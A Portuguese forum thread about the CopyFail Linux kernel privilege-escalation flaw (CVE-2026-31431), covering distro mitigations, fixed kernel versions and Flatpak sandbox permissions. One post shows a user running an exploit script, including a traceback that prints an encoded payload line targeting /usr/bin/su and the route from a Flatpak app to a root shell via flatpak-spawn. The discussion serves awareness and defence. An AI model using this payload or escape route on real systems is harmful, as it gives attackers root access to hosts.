[CopyFail] Vulnerabilidade no Kernel Linux permite acesso ao usuário root

Uma nova vulnerabilidade apelidada Copyfail (CVE-2026-31431) permite escalonamento de privilégio local e acesso ao root sem nenhuma permissão concedida.

A falha está presente desde 2017 no subsistema de criptografia do Kernel (algif_aead).

Resumindo, o atacante usa sockets AF_ALG e explora uma falha no subsistema de criptografia permitindo que um usuário comum engane o Kernel para injetar dados maliciosos no Page Cache (a memória RAM onde ficam as cópias dos arquivos do disco). Como o Kernel acha que essa alteração no cache é legítima, ele não mata o processo, e isso permite modificar o sudo ou su ganhando privilégios root.

Essa vulnerabilidade também permite escapar de containers (ex. Kubernetes) e acessar o Host.

4 curtidas

Trata-se de vulnerabilidade grave, que como já mencionado na postagem inicial, consegue escapar de “containers” e atacar o sistema onde eles são hospedados / executados, dando acesso root a usuários que já tenham acesso local à máquina Linux. Embora não possa ser explorada diretamente por ataques remotos, ela pode ser um segundo passo para ganhar total controle do computador depois que o invasor já conseguiu acesso local à máquina usando algum outro subterfúgio.

A boa notícia é que a maioria das distros já adotou medidas para bloquear essa falha de segurança. Por exemplo, ontem o Linux Ubuntu 24.04 e o Linux Mint 22.3 disponibilizaram o pacote kmod (31+20240202-2ubuntu7.2) noble-security que desabilita o carregamento do módulo de kernel algif_aead, neutralizando o exploit descrito no CVE-2026-31431. Outras distros já receberam kernels atualizadas (6.18, 6.12) com correção do problema, notificado de forma sigilosa apenas ao time responsável pelo desenvolvimento do kernel um mês antes da revelação ao restante do público, e várias outras distros, como no caso do Ubuntu e Mint implementaram atualizações de segurança que aplicam a solução paliativa de inativação do referido módulo, planejando voltar a liberar sua ativação após as kernels ainda vulneráveis atualmente, incluindo as versões LTS como as utilizadas no Linux Mint, receberem o respectivo patch de segurança. Esse módulo é raramente utilizado na rotina diária e sua falta provavelmente não será percebida pela maioria dos usuários. Uma ressalva é que a solução paliativa usada pelo Ubuntu e Mint só funciona para kernels onde o algif_aead é compilado como módulo a ser carregado com o comando modprobe, ela não funcionará se o código estiver compilado de forma integrada à kernel.

2 curtidas

Ok, fiz alguns testes e descobri o seguinte:

Se a sua porta de entrada com o mundo de fora é com flatpaks, em geral você está seguro graças ao isolamento sandbox.

O flatpak garante que o /usr/bin/su não é acessível de dentro do confinamento, então se um script tentar explorar a falha, ele não conseguirá:

F: Não será compartilhado “/usr/bin/su” com caixa de proteção: O caminho "/usr" está reservado pelo Flatpak

PORÉM há uma maneira disso ser contornado. Em algumas aplicações o flatpak dá a permissão org.freedesktop.Flatpak para o programa confinado, porque caso contrário quebraria o tal programa.
Essa permissão é perigosa porque ele dá a possibilidade de executar comandos no host fora do ambiente confinado com flatpak-spawn.

Então aqui nesse exemplo eu instalei o visualizador de imagens do KDE Plasma Gwenview em flatpak e tentei rodar o exploit, sem dar a permissão org.freedesktop.Flatpak:

a@fedora:~/Downloads$ flatpak run --command=sh org.kde.gwenview 
[📦 org.kde.gwenview Downloads]$ python3 copy_fail_exp.py 
Traceback (most recent call last):
  File "/home/a/Downloads/copy_fail_exp.py", line 8, in <module>
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

a@fedora:/usr/bin$ flatpak run --command=sh org.kde.gwenview 
[📦 org.kde.gwenview bin]$ flatpak-spawn --host python3 ./copy_fail_exp.py 
Portal call failed: org.freedesktop.DBus.Error.ServiceUnknown
Hint: --host only works when the Flatpak is allowed to talk to org.freedesktop.Flatpak

Então como podem ver o programa confinado não conseguiu rodar o exploit nem diretamente, nem com o flatpak-spawn.

MAS se eu der a permissão org.freedesktop.Flatpak:

a@fedora:~/Downloads$ flatpak run --command=sh org.kde.gwenview 
[📦 org.kde.gwenview Downloads]$ flatpak-spawn --host python3 ./copy_fail_exp.py 
bash: cannot set terminal process group (14904): Inappropriate ioctl for device
bash: no job control in this shell
[root@fedora Downloads]# whoami
root
[root@fedora Downloads]# exit
[📦 org.kde.gwenview Downloads]$ 
exit
a@fedora:~/Downloads$ su
[root@fedora Downloads]# whoami
root

Ou seja, cuidado com os flatpaks com permissão org.freedesktop.Flatpak, pois ele tem acesso total ao host.

3 curtidas

Para um usuário iniciante, como vejo se meus Flatpaks possuem tal permissão?

1 curtida

A maneira mais fácil é com o Flatseal


flatpak install flatseal

Clique no programa e desça até System Bus e dentro de Talks se tiver o org.freedesktop.Flatpak é porque tem a permissão, se não tiver lá, não tem.

3 curtidas

A partir de qual versão do kernel a falha está corrigida?

A falha existe em versões do kernel Linux desde a 4.14 (2017). O patch de correção modifica a lógica de sobreposição de memória no módulo afetado e já está presente a partir das seguintes versões:

  • Série 6.19: Corrigida a partir da versão 6.19.12 (versões mais recentes, como a 6.19.13, já estão seguras).

  • Série 6.18 (LTS): Corrigida a partir do backport na versão 6.18.22.

  • Série 7.0: Totalmente imune nas versões de lançamento.

Com Kernel atual você está corrigido de qualquer forma, eu quis demonstrar que flatpaks podem te proteger contra zero-days.

1 curtida

Legal… Atualmente tenho os seguintes programas instalados como Flatpak no meu Linux Mint 22.3:

  • Czkawka
  • Gnome SimpleScan
  • Déja Dup Backups
  • Geekbench 6
  • Krita
  • Sober
  • Telegram
  • Warehouse (um instalador/gerenciador de Flatpaks que permite instalações como usuário e/ou em outro disco), e
  • Flatseal.

Dos aplicativos acima, o único que tem a permissão org.freedesktop.Flatpak é o Warehouse.

Bom saber…

Valeu.